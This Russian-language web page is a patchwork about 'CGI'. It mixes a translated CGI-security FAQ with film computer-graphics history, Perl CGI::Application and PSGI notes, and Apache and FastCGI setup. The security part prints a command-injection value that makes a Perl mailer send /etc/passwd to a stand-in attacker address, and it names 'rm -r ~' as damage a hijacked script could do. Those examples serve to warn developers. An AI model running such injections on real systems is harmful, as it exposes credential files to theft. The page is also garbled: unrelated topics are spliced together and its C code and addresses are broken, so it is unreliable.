Http cgi glob script cgi

В36: Я разрабатываю собственные скрипты CGI. Чего мне следует избегать?

  1. Избегайте предоставления излишней информации о вашем узле и сервере.

    Не смотря на возможность достижения красивых эффектов, следует избегать использования скриптов, предоставляющих информацию о вашей системе. Например, команда finger часто выводит путь к домашнему директорию пользователя, и скрипт, использующий эту команду, выдает эту информацию (на самом деле вам следует полностью выключить finger, предпочтительно даже стереть этого демона). Команда w дает информацию о ресурсах, используемых локальными пользователями. Команда ps, со всеми ее формами, дает потенциальному взломщику полезные сведения о том, какие демоны активны в вашей системе.

  2. Если вы пишите на компилируемом языке, таком как C, то избегайте делать предположения об объемах данных, вводимых пользователем.

    ОСНОВНОЙ источник лазеек в безопасности — переполнение буферов при чтении данных, вводимых пользователем. Вот простая иллюстрация проблемы:

       #include <stdlib.h>
       #include <stdio.h>
    
       static char query_string;
    
       char* read_POST() {
    
          int query_size;
          query_size=atoi(getenv("CONTENT_LENGTH"));
          fread(query_string,query_size,1,stdin);
          return query_string;
    
       }
    

    Проблема здесь в том, что автор предполагает, что объем вводимых данных, полученных методом POST, никогда не превысит размера статического буфера, 1024 байта. Это плохо. Злой хакер может нарушить работу программы, введя гораздо больший объем данных. В некоторых ситуациях при переполнении буфера и сбое программы хакер может иметь возможность выполнения произвольных команд на сервере.

    Приведем простой пример функции read_POST(), обходящей эту проблему путем динамического резервирования памяти. Если памяти недостаточно, то функция возвращает значение NULL.

       char* read_POST() {
    
          int query_size=atoi(getenv("CONTENT_LENGTH"));
          char* query_string = (char*) malloc(query_size);
          if (query_string != NULL)
             fread(query_string,query_size,1,stdin);
          return query_string;
       }
    

    Конечно, после чтения данных, вы должны продолжать следить за тем, чтобы буфер не переполнился. Контролируйте такие функции, как strcpy(), strcat() и другие функции для работы со строками, которые производят копирование до тех пор, пока не достигнут конца строки. Используйте вместо них функции strncpy() и strncat().

       #define MAXSTRINGLENGTH 255
       char myString;
       char* query = read_POST();
       assert(query != NULL);
       strncpy(myString,query,MAXSTRINGLENGTH);
       myString='\0';      /* Обеспечить 0 в конце строки */
    

    (Заметте, что дейсвия strncpy могут быть опасны в ситуации, когда строка имеет длину MAXSTRINGLENGTH, что ведет к необходимости явно обрезать строку, вставляя символ ‘\0’.)

  3. Никогда, никогда, никогда не передавайте непроверенное содержимое пользовательского ввода командам оболочки операционной системы.

    В языке C это директивы popen() и system(), которые вызывают /bin/sh для обработки команды. В языке Perl сюда относятся функции system(), exec() и перенаправленная (piped) open(), а также функция eval(), запускающая сам интерпретатор Perl. В различных оболочках сюда попадают команды exec и eval.

    Обратные кавычки, дающие возможность перехвата вывода программ в виде текстовых строк в интерпретаторах оболочек ОС и языке Perl, также небезопасны.

    Проиллюстрируем необходимость некоторой паранои в этих вопросах на примере с первого взгляда безопасного фрагмента кода на языке Perl, который должен посылать электронную почту по адресу, указанному в форме ввода.

       $mail_to = &get_name_from_input; # получить адрес из формы ввода
       open (MAIL,"| /usr/lib/sendmail $mail_to");
       print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
       close MAIL;
    
         nobody@nowhere.com;mail badguys@hell.org</etc/passwd;
    

    Теперь инструкция open() выполнит следующую команду:

    /usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwd
    
    Увы, open() послала содержимое системного файла паролей удаленному пользователю, открыв тем самым возможность для взлома паролей.

В33: Являются ли компилируемые языки, такие как C, более безопасными, чем интерпетируемые, подобные Perl или языкам оболочек операционных систем?

Прежде всего, важен вопрос о возможности для удаленного пользователя получить исходный текст программы. Чем больше хакер знает о том, как работает скрипт, тем легче ему найти и использовать ошибки в нем. При использовании компилируемых языков вы можете создать двоичный выполняемый файл, поместить его на сервер и не беспокоиться о том, что хакер может получить доступ к исходному тексту программы. Напртив, в случае интерпретируемых языков исходный текст всегда потенциально доступен. Хотя правильно настроенный сервер не должен передавать текст скрипта, существуют различные пути обхода этого ограничения.

Рассмотрим следующий сценарий. Из соображений удобства, вы настроили сервер на распознавание скриптов CGI по расширению имени файла .cgi. Затем вам понадобилось отредактировать интерпретируемый скрипт CGI. Вы открываете его с помощью текстового редактора Emacs и изменяете нужным образом. Увы, редактор оставляет резервную копию файла с исходным текстом программы в дереве документов. И хотя удаленный пользователь не может получить исходный текст при обращении к самому скрипту, он имеет возможность получить резервную копию файла попросту выбрав адрес URL:

        http://ваш-узел/путь/к/ваш_скрипт.cgi~

Конечно, во многих случаях исходные тексты скриптов на C свободно распространяются по Сети, и у хакеров не возникнет проблем с доступом к ним.

Еще одна причина большей безопасности компилируемых программ — вопросы размера и сложности. Большие программы, такие как интерпретаторы языков программирования и оболочки ОС, скорее всего содержат ошибки. Эти ошибки могут открывать лазейки в безопасности. Они существуют, просто мы о них не знаем.

Третий фактор — возможность использовать языки, на которых пишут скрипты, для передачи данных системным командам и получение результатов их выполнения. Как будет описано далее, выполнение системных команд при работе скрипта — один из основных источников лазеек в безопасности. В C выполнить системную команду сложнее, и менее вероятно, что программист будет использоватьб эту возможность. Наоборот, написать скрипт любой степени сложности на языке оболочки операционной системы, полностью избегая использования опасных инструкций, очень сложно. Языки оболочек ОС — плохой выбор при разработке хоть сколько-нибудь сложных скриптов CGI.

Прочтя все это, пожалуйста поймите, что нет гарантии того, что программа на C будет безопасной. Программы на C могут содержать множество опасных ошибок, как показывает пример программ NCSA httpd 1.3 и sendmail. В свою очередь, программы на интерпретируемых языках как правило имеют меньший объем текста и легче могут быть поняты лицами, не участвовавшими в разработке, с целью контроля. Далее, язык Perl содержит ряд встроенных функций, предназначенных для перехвата возможных лазеек в безопасности. Например, «проверки на чистоту» (taint checks, см. далее) перехватывают многие обычные недостатки в текстах программ и делают скрипты Perl в некотором отношении более безопасными, чем аналогичные программы на C.

История

Впервые в полнометражном фильме компьютерная графика использовалось в «Мире Дикого Запада», вышедшем на экраны в 1973 году. Во второй половине 1970-х появились фильмы, использующие элементы трёхмерной компьютерной графики, в том числе «Мир будущего», «Звёздные войны» и «Чужой». В 1980-е годы, до выхода на экраны второго «Терминатора», Голливуд охладел к компьютерным эффектам, в частности, из-за более чем скромных кассовых сборов «Трона» (1982), целиком построенного на использовании новейших достижений компьютерной графики.

В «Парке юрского периода» (1993) впервые при помощи CGI удалось заменить каскадёра; в том же фильме впервые удалось непрерывно соединить CGI (кожа и мышцы динозавров были созданы при помощи компьютерной графики) с традиционной съёмкой и аниматроникой. В 1995 году вышел первый полнометражный мультфильм, полностью смоделированный на компьютере — «История игрушек». В фильме «Последняя фантазия: Духи внутри нас» (2001 год) впервые фигурировали реалистические CGI-изображения людей.

Поддержка PSGI

Приложение предлагает встроенную поддержку PSGI. Объектом запроса по умолчанию для этого является:


psgi_app ()

$psgi_coderef = WebApp->psgi_app({ … args to new() … })

Самый простой способ — создать и вернуть PSGI — совместимый coderef. Нужно передать аргументы в hashref так же, как и к новому. Это возвращает PSGI-совместимый coderef, используя CGI ::: PSGI в качестве объекта запроса. Чтобы использовать другой объект запроса, создают собственный объект run_as_psgi(), как показано ниже:

run_as_psgi ()

my $psgi_aref = $webapp->run_as_psgi

Точно так же, как run, печать, не выводит и не возвращает структуру данных, требуемую спецификацией PSGI. Используют это, если нужно запустить приложение поверх обработчика, совместимого с PSGI, например, Plack. Конечный результат может выглядеть так:

Спецификация PSGI позволяет возвращать дескриптор файла или ссылку подпрограммы вместо байтовых строк. В режиме PSGI это поддерживается непосредственно CGI Application.

Для чего нужна директория cgi-bin

Зачастую скрипы CGI могут запускаться только из директорий, которые определены в настройках веб-сервера, как директории поддерживающие запуск CGI-скриптов. Стандартными директориями являются папки с именем cgi и cgi-bin, причем последний вариант получил большую популярность в процессе становления CGI.

Хостинг-провайдер Xost.SU предоставляет хостинга сайтов с поддержкой CGI, где также используется директория cgi-bin для скриптов CGI. Директория cgi-bin создается в корне сайта и его поддоменов.

Путь до директории cgi-bin для сайта:

Для поддомена name.domain.tld:

Где domain.tld – это адрес сайта, а name – префикс имени его поддомена.

Литература

  • Begault, Durand R. 3-D Sound for Virtual Reality and Multimedia (англ.). — AP Professional, 1994. — ISBN 978-0-1208-4735-8.
  • Biocca, Frank; Levy, Mark R. Communication in the Age of Virtual Reality (англ.). — Lawrence Erlbaum Associates, 1995. — ISBN 978-0-8058-1549-8.
  • Peitgen, Heinz-Otto; Jürgens, Hartmut; Saupe, Dietmar. Chaos and Fractals: New Frontiers of Science (англ.). — Springer Science & Business Media, 2004. — ISBN 978-0-387-20229-7.
  • Sondermann, Horst. Light Shadow Space: Architectural Rendering with Cinema 4D (англ.). — Vienna: Springer, 2008. — ISBN 978-3-211-48761-7.

CGI – что это? Определение и история

CGI (Commom Gateway Interface) – это спецификация интерфейса веб-сервера, которая позволяет выполнять консольные программы для генерации динамических страниц веб-серверов. Данные программы принято называть CGI-скриптами или CGI-приложениями. CGI по сути позволяет использовать консоль ввода и вывода для взаимодействия с клиентом через окно интернет-браузера. Обычно скрипт CGI выполняется во время получения запроса и в результате генерирует ответ для использования совместно с html, или сразу генерирует готовый html-код.

Интерфейс CGI позволяет передавать запросы методом GET или POST, которые попадают на обработку скрипом CGI через стандартный ввод – stdin; также CGI позволяет получать данные из переменных окружения. Результат обработки запроса CGI выводит в стандартный поток вывода — stdout.

Особенностью данного интерфейса является возможность использования различных языков программирования, которые могут работать со стандартным вводом-выводом, что позволяет для обработки данных использовать даже bash.

Основной пример скрипта PHP

Сценарий должен выполнить процесс, а затем выводить допустимый HTML-код, включая заголовки HTTP. Пример скрипта PHP:

В этом скрипте первая и последняя строки являются HTML-кодом, а предложения PHP заключены в маркеры, затем получают скрипт из браузера, добавляя строку запроса из двух аргументов «data1» и «data2».

Помимо глобальной переменной $ _SERVER в скрипте доступны следующие ассоциативные массивы запуска CGI скриптов:

$ _GET — имена и значения аргументов, переданных серверу в запросе GET. $ _POST — имена и значения параметров, отправленных на сервер в запросе POST, при отправке формы. $ _COOKIE — имена и значения файлов cookie, прикрепленных к запросу. $ _REQUEST — все элементы в $ _GET, $ _POST и $ _COOKIEnpm для запуска php-скриптов с nodejs через cgi. Этот модуль был разработан для deskshell, чтобы обеспечить беспрепятственную обработку сценариев php.

Учитывая, что разработчик получает запрос в nodejs и имеет объект запроса, называемый req, и объект ответа, называемый res, он должен использовать этот модуль, как представлено ниже:

Таким образом запрос на /test.php будет отвечать модулю php для скриптов CGI. Функция paramsForRequest считывает объект запроса и устанавливает правильные переменные среды cgi для запроса. Это предоставляется, как отдельная функция, поэтому при необходимости можно добавлять дополнительные переменные запроса. Функция detectBinary в окнах ищет дополнительный модуль узла «php-bin-win32», который предоставляет переносимый php-файл. Этот код работает для deskshell и в том случае, если необходимо использовать его для каких-либо других целей и дополнительных функциях.

Методы возможного переопределения

CGI реализует некоторые методы, которые, как ожидается, будут переопределены путем их реализации в модуле подкласса. Эти методы заключаются в следующем:

Настройка(). Этот метод вызывается унаследованным методом конструктора new (). Метод setup () следует использовать для определения следующего свойства / методов.


Метод setup () может вызывать любой из методов экземпляра пользовательского приложения. Эта функция является хорошим местом для определения свойств, специфичных для приложения, с помощью $ webapp-> param ().

Метод setup () может быть реализован, как изображение ниже:

Однако часто все, что должно быть в setup (), определяет режимы запуска AutoRunmode, что позволяет сделать это с помощью простого синтаксиса, используя атрибуты режима запуска.

Метод teardown (). Если он реализован, то вызывается автоматически после создания CGI скриптов и запуска приложения. Его можно использовать для очистки после операций. Типичное использование функции teardown () — отключить соединение с базой данных, которое было установлено в функции setup (). Также можно использовать метод teardown () для хранения информации о состоянии приложения на сервере: cgiapp_init ().

CGI — что это

CGI (computer-generated imagery, или «изображения, сгенерированные компьютером») — это изображения, которые сделали с помощью компьютерной графики. Они могут быть статичными и подвижными, двухмерными и трехмерными — хотя сам термин CGI используют чаще всего для последних.

Сегодня CGI ассоциируется прежде всего с кино и спецэффектами. И это понятно: создатели фильмов охотно раскрывают секреты создания блокбастеров. Вспомните шумиху вокруг «Войны бесконечности» — доля компьютерной графики там просто заоблачная.

Недавно команда по спецэффектам поделилась роликом, в котором показала, как эффекты накладываются на отснятые кадры. А бой Железного человека и Паука против Калла Обсидиана, кстати, — чистое CGI.

Ролик компании Framestore — создание спецэффектов для «Войны бесконечности»

Однако дело не ограничивается масштабными картинами. CGI можно встретить везде: в изобразительном искусстве, печати, на телевидении, в видеоиграх — и, конечно же, в рекламе.

Важно!

Внутриигровую графику обычно не причисляют к CGI, хотя технически это не что иное, как покадровый рендеринг изображений, происходящий в реальном времени. Однако ролик внутри игры можно считать продуктом CGI, а графику самой игры — нет.

Поддержка CGI-сценариев

Скрыть рекламу в статье

Поддержка CGI-сценариев

Если вы собираетесь использовать CGI-сценарии, то должны сообщить серверу Apache о своем намерении. При получении URL, содержащего имя сценария, сервер должен запустить этот сценарий, а также организовать обработку данных, переданных клиентом, формирование Web-страницы и передачу ее броузеру. При использовании CGI-сценария Apache выполняет роль посредника между клиентом и сценарием на стороне сервера. Настроить сервер для выполнения подобных функций не сложно. Вы должны лишь разрешить поддержку CGI-сценариев и сообщить Apache типы запросов, при получении которых следует запускать сценарии.

Для обеспечения работы с CGI необходимо загрузить соответствующий модуль Apache.

Если компоненты, предназначенные для поддержки CGI-сценариев, включены в состав двоичных файлов Apache, вам надо активизировать их посредством директивы . (В некоторых случаях активизировать надо и компоненты, реализованные в виде модулей.)

В результате сервер Apache получает возможность запускать CGI-сценарии и взаимодействовать с ними. Вам осталось лишь разрешить поддержку CGI для конкретных файлов и каталогов. Сделать это можно несколькими способами.

• . Данная директива решает две задачи. Во-первых, она сообщает серверу Apache о том, что файлы, содержащиеся в указанном каталоге, должны интерпретироваться как CGI-сценарии. Во-вторых, посредством этой директивы задается соответствие между каталогом, расположенным на диске, и каталогом, который указывается в URL. Например, выражение отображает физический каталог в каталог в составе URL. В результате, если пользователь укажет URL , сервер запустит на выполнение сценарий , содержащийся в каталоге . Часто при инсталляции Apache опции и по умолчанию включаются в конфигурационный файл; вероятнее всего, вы встретите их, просматривая содержимое файла . Для работы с CGI-сценариями часто бывает нужен модуль . Соответствующая директива обычно по умолчанию включается в состав конфигурационного файла. При возникновении проблем, проверьте, загружен ли данный модуль.

• . Разрешить выполнение CGI-сценариев можно, указав значение директивы Options. Данная опция не должна указываться для всей системы, ее имеет смысл применять только к отдельным каталогам (т.е. она должна присутствовать только в составе директивы >).

• . Контролировать доступ к отдельному каталогу можно, размещая в нем файл . Если в файле содержится запись , Apache будет запускать CGI-сценарии, находящиеся в этом каталоге. Чтобы это произошло, в файле f должна находиться запись ; эта запись должна воздействовать как минимум на каталог, содержащий файл .

Внимание


Наличие записей и представляет угрозу для системы. При неправильном использовании этих средств пользователи получают возможность создавать сценарии, предоставляющие полный доступ к системе. По этой причине в большинстве дистрибутивных пакетов использование файла запрещено.

Часто при настройке Apache в конфигурационный файл включается директива , отображающая каталог файловой системы в каталог в составе URL. Такая настройка удобна для администратора. Чтобы установить CGI-сценарий и сделать его доступным для пользователя, достаточно разместить соответствующий файл в каталоге

При этом необходимо обратить внимание на права доступа к файлу. Поскольку сценарий предназначен для выполнения, для файла, содержащего код этого сценария, должен быть установлен соответствующий признак

Если вы написали сценарий самостоятельно или скопировали его с Web- или FTP-узла, то после размещения его в каталоге надо выполнить команду .

Оглавление книги

Главное назначение CGI

Обеспечение единообразного потока данных между сервером и прикладной программой, которая запускается из-под сервера. CGI определяет протокол обмена данными между сервером и программой.

  • CGI определяет порядок взаимодействия сервера с прикладной программой, в котором сервер выступает инициирующей стороной;
  • CGI определяет механизм реального обмена данными и управляющими командами в этом взаимодействии, что не определено в HTTP.

Такие понятия, как метод доступа, переменные заголовка, MIME, типы данных, заимствованы из HTTP и делают спецификацию прозрачной для тех, кто знаком с самим протоколом.

При описании различных программ, которые вызываются сервером HTTP и реализованы в стандарте CGI, используют следующую терминологию:

CGI-скрипт — программа, написанная в соответствии со спецификацией Common Gateway Interface. CGI-скрипты могут быть написаны на любом языке программирования (C, C++ (язык программирования), PASCAL, FORTRAN и т.п.) или командном языке ( shell (Операционные Системы), cshell, командный язык MS-DOS, Perl и т.п.). Скрипт может быть написан даже на языке редактора EMAC в системах Unix.

Шлюз — это CGI-скрипт, который используется для обмена данными с другими информационными ресурсами Internet или приложениями-демонами. Обычная CGI-программа запускается сервером HTTP для выполнения некоторой работы, возвращает результаты серверу и завершает свое выполнение. Шлюз выполняется точно также, только, фактически, он инициирует взаимодействие в качестве клиента с третьей программой. Если эта третья программа является сервисом Internet, например, сервер Gopher, то шлюз становится клиентом Gopher, который посылает запрос по порту Gopher, а после получения ответа пересылает его серверу HTTP.

Пример¶

См.также

http://chriswu.me/blog/writing-hello-world-in-fcgi-with-c-plus-plus/

Nginx

Примечание

Nginx доступен по адресу http://localhost:8080/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# default.nginx

server {
    listen 80 default_server;

    root /usr/share/nginx/html;
    index index.html index.htm;

    include includes/fcgi.nginx;
    include includes/static.nginx;
}
1
2
3
4
5
6
7
# fcgi.nginx

location /fastcgi_hello {
    # host and port to fastcgi server
    include         fastcgi.conf;
    fastcgi_pass 172.17.0.895000;
}

fastcgi_param

fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
fastcgi_param  SERVER_SOFTWARE    nginx;
fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
fastcgi_param  CONTENT_TYPE       $content_type;
fastcgi_param  CONTENT_LENGTH     $content_length;
fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
fastcgi_param  REQUEST_URI        $request_uri;
fastcgi_param  DOCUMENT_URI       $document_uri;
fastcgi_param  DOCUMENT_ROOT      $document_root;
fastcgi_param  SERVER_PROTOCOL    $server_protocol;
fastcgi_param  REMOTE_ADDR        $remote_addr;
fastcgi_param  REMOTE_PORT        $remote_port;
fastcgi_param  SERVER_ADDR        $server_addr;
fastcgi_param  SERVER_PORT        $server_port;
fastcgi_param  SERVER_NAME        $server_name;

С

Примечание

Компиляция

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
/*
 * hello.cpp
 * Copyright (C) 2015 uralbash <root@uralbash.ru>
 *
 * Distributed under terms of the MIT license.
 */
#include "fcgi_stdio.h"
#include <stdlib.h>

int main(void)
{
    while(FCGI_Accept() >= )
    {
        printf("Content-type: text/html\r\nStatus: 200 OK\r\n\r\nHello World!");
    }

    return ;
}

Запуск fcgi сервера на 5000 порту

spawn-fcgi -p 5000 -n hello.fcgi

Примечание

Пример доступен по адресу http://localhost:8080/fastcgi_hello

Методы сценариев

Используя CGI Application, пользователь получает доступ к целому ряду встроенных методов. Ниже перечислены те, которые, вызываются из скрипта.

Метод new () является конструктором для CGI. Он возвращает ссылку на пакет приложений (класс). Он может принимать набор параметров, как пары: ключ => значение.


Этот метод может принимать некоторые конкретные параметры:

TMPL_PATH — определяет путь к каталогу шаблонов. QUERY — позволяет указать уже созданный объект запроса CGI.pm. PARAMS — этот параметр, позволяет установить во время выполнения ряд настраиваемых режимов. Передавая различные значения в сценариях разных экземпляров, которые используют один и тот же модуль приложения, можно достичь более высокого уровня повторного использования.

Вам будет интересно:PostgreSQL vs. MySQL — сравнение, особенности и отзывы

Run () вызывается на объект Application Module из скрипта. При вызове он выполняет функциональные возможности пользовательского прикладного модуля.

Этот метод сначала определяет состояние приложения, просматривая значение параметра CGI, заданного параметром mode_param (). По умолчанию В «rm» для В «Run Mode», который будет содержать имя режима работы. Если это не указано, состояние по умолчанию равно значению start_mode (). Как только режим определен, run () просматривает таблицу отправки, хранящуюся в run_modes (), и находит указатель функции, который вводится из имени режима. Если найден, функция вызывается, а возвращаемые данные print () ‘ed отправляются в STDOUT и в браузер. Если указанный режим не найден, в таблице run_modes (), run () будет croak ().

Конфигурируем Apache для запуска CGI-файлов

Откроем файл конфигурации Apache /etc/apache2/sites-enabled/000-default.conf

Там есть такой блок (с кучей комментариев):

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Добавьте следующие строки после строки DocumentRoot:

        ScriptAlias /cgi-bin/ /var/cgi-bin/
        <Directory "/var/cgi-bin">
                AllowOverride None
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                Require all granted
        </Directory>

Получится вот так:

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www

        ScriptAlias /cgi-bin/ /var/cgi-bin/
        <Directory "/var/cgi-bin">
                AllowOverride None
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                Require all granted
        </Directory>

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

По-умолчанию Apache не включает CGI модуль. Это можно определить, потому что в директории mods-enabled нет ни одного CGI-файла, которые есть в директории mods-available.

# ls -l /etc/apache2/mods-enabled/ | grep cgi
# ls -l /etc/apache2/mods-available/ | grep cgi
-rw-r--r-- 1 root root   115 Jul 20  2013 cgid.conf
-rw-r--r-- 1 root root    60 Jul 20  2013 cgid.load
-rw-r--r-- 1 root root    58 Jul 20  2013 cgi.load
-rw-r--r-- 1 root root    89 Jul 20  2013 proxy_fcgi.load
-rw-r--r-- 1 root root    89 Jul 20  2013 proxy_scgi.load

Создадим символную ссылку из директории mods-enabled в mods-available для двух cgid.* файлов. И затем проверим снова, что ссылки нормально создались, запустив ls -l.

# ln -s /etc/apache2/mods-available/cgid.load /etc/apache2/mods-enabled/
# ln -s /etc/apache2/mods-available/cgid.conf /etc/apache2/mods-enabled/

# ls -l /etc/apache2/mods-enabled/ | grep cgi
lrwxrwxrwx 1 root root 37 Mar 19 14:39 cgid.conf -> /etc/apache2/mods-available/cgid.conf
lrwxrwxrwx 1 root root 37 Mar 19 14:39 cgid.load -> /etc/apache2/mods-available/cgid.load

Теперь мы может перезагрузить Apache командой:

# service apache2 reload

Команда reload говорит Apache перечитать свои файлы конфигурации.

Теперь можно написать в браузере http://107.170.93.222/cgi-bin/echo.pl (конечно, заменив IP адрес на ваш) и вы увидете слово «hi».

Мои поздравления, ваш первый CGI-скрипт работает!

Что такое FastCGI¶

В отличие от CGI, FastCGI использует постоянно запущенные процессы для обработки множества запросов.

CGI-программы взаимодействуют с сервером через STDIN и STDOUT запущенного процесса.

FastCGI-процессы используют для связи с сервером Unix Domain Sockets или TCP/IP . Это даёт следующее преимущество над обычными CGI-программами: FastCGI-программы могут быть запущены не только на этом же сервере, но и где угодно в сети. Также возможна обработка запросов несколькими FastCGI-процессами, работающими параллельно. Можно использовать несколько FastCGI-серверов, распределяя нагрузку между ними с помощью nginx или lighttpd.

После установления соединения FastCGI-процесса с web-сервером, между ними начинается обмен данными с использованием простого протокола, решающего две задачи: организация двунаправленного обмена в рамках одного соединения (для эмуляции STDIN, STDOUT, STDERR) и организация нескольких независимых FastCGI-сессий в рамках одного соединения.

Все передаваемые данные оборачиваются в FastCGI-записи — единицу данных протокола. FastCGI-записи служат для организации двунаправленного обмена и мультиплексирования нескольких сессий в рамках одного соединения.

Основные условия работы программы

Вам будет интересно:Как вывести экран айфона на компьютер: программы и их особенности

Прежде чем использовать символы CGI скриптов, пользователь должен проверить, поддерживает ли их веб-узел сайта, а также уточнить, если ли у разработчика полномочия на их применение. Некоторые хосты этого не допускают. Если разработчик сайта видит папку CGI-bin при загрузке HTML-файлов, ему разрешено использовать сценарии GCI.

Одни хосты позволят запросить у них функцию CGI-bin, поскольку она не всегда предоставляется по умолчанию. Другие хосты могут протестировать и одобрить сценарии, прежде чем дать разрешение на использование CGI скриптов.

Если разработчику не требуется редактирование, ему все равно потребуется текстовый редактор для написания сценария по запросам сайта

Какой бы редактор не планировался к использованию, важно сохранять файл в виде обычного текста

Кроме того, понадобится программа FTP, которая поставляется с коммерческой версией Pro или бесплатной версией Lite. Любой вариант будет работать до тех пор, пока он загружается в режиме ASCII, чтобы помочь пользователю пройти через установку, так как создание CGI скриптов может занять много времени.

В39: Я слышал, что существует пакет cgiwrap, который делает скрипты CGI более безопасными?

Это не совсем так. cgiwrap (автор — Nathan Neulinger <nneul@umr.edu>, http://www.umr.edu/~cgiwrap) разработан для многопользовательских узлов, таких как университетские серверы, где пользователям разрешается создавать свои собственные скрипты CGI. Поскольку скрипты выполняются с правами того же пользователя, правами которого пользуется сервер (т.е. «nobody»), то администратору в такой ситуации трудно определить, чей именно скрипт вызывает ошибочно посланные письма, ошибки в файлах трассировки или идиотские сообщения на дисплеях других пользователей. Кроме того, возникают проблемы с защитой: при выполнении с теми же правами, скрипт одного пользователя может, например, случайно (или преднамеренно) разрушить базу данных, поддерживаемую скриптом другого пользователя.

cgiwrap позволяет вам так организовать скрипты, что они теперь выполняются под идентификатором того пользователя, которому принадлежат. Эта политика может быть усилена таким образом, что пользователь должен использовать cgiwrap для того, чтобы скрипт смог быть выполнен. Хотя это упрощает администрирование и предотвращает помехи пользователям сос стороны других пользователей, это привносит риск для пользователя. Поскольку скрипты выполняются теперь с правами владельца, взломанный скрипт может полностью очистить домашний директорий пользователя, выполнив команду

    rm -r ~

Хуже того, поскольку взломанный скрипт обладает правами записи в домашний директорий пользователя, он может поместить туда троянского коня, подвергая тем самым риску всю ситему. Пользователь nobody, по крайней мере, как правило не имеет прав записи нигде в системе.

sbox

sboxsboxchroot

sbox в настоящее время находится в стадии бета-тестирования. Если у вас есть желание попробовать использовать sbox, то вы можете его получить на URL http://www.genome.wi.mit.edu/~lstein/sbox/. sbox не был еще достаточно тщательно отлажен и может содержать ошибки, в том числе — лазейки в безопасности

Пожалуйста, соблюдайте осторожность

Области применения CGI¶

Наиболее частая задача, для решения которой применяется CGI — создание интерактивных страниц, содержание которых зависит от действий пользователя. Типичными примерами таких веб-страниц является форма регистрации на сайте или форма для отправки комментария. Другая область применения CGI, остающаяся за кулисами взаимодействия с пользователем, связана со сбором и обработкой информации о клиенте: установка и чтение «печенюшек»-cookies; получение данных о браузере и операционной системе; подсчет количества посещений веб-страницы; мониторинг веб-трафика и т.п.

Это обеспечивается возможностью подключения CGI-скрипта к базе данных, а также возможностью обращаться к файловой системе сервера. Таким образом CGI-скрипт может сохранять информацию в таблицах БД или файлах и получать ее оттуда по запросу, чего нельзя сделать средствами HTML.

Возможные ошибки

Ошибка 403

Если при обращении к скрипту вы видите сообщение об ошибке 403, это значит, что на скрипт установлены некорректные права доступа. На CGI-скрипты необходимо установить атрибут исполнения (права доступа 755 или -rwxr-xr-x). Атрибуты можно изменить с помощью файлового менеджера панели управления.

Ошибка 500

Если во время запуска своего скрипта вы видите сообщение о 500-ой ошибке, это значит, что в скрипте есть ошибка из-за которой транслятор Perl’а не может успешно завершить свою работу. Ошибка может быть как синтаксическая (например, вы забыли где-то закрыть кавычку или фигурную скобку), так и логическая, например, в результате каких-либо ваших действий происходит деление на ноль. Для того, чтобы понять причину ошибки, вам необходимо посмотреть лог-файлы веб-сервера, которые хранятся в каталоге /var/log/.


С этим читают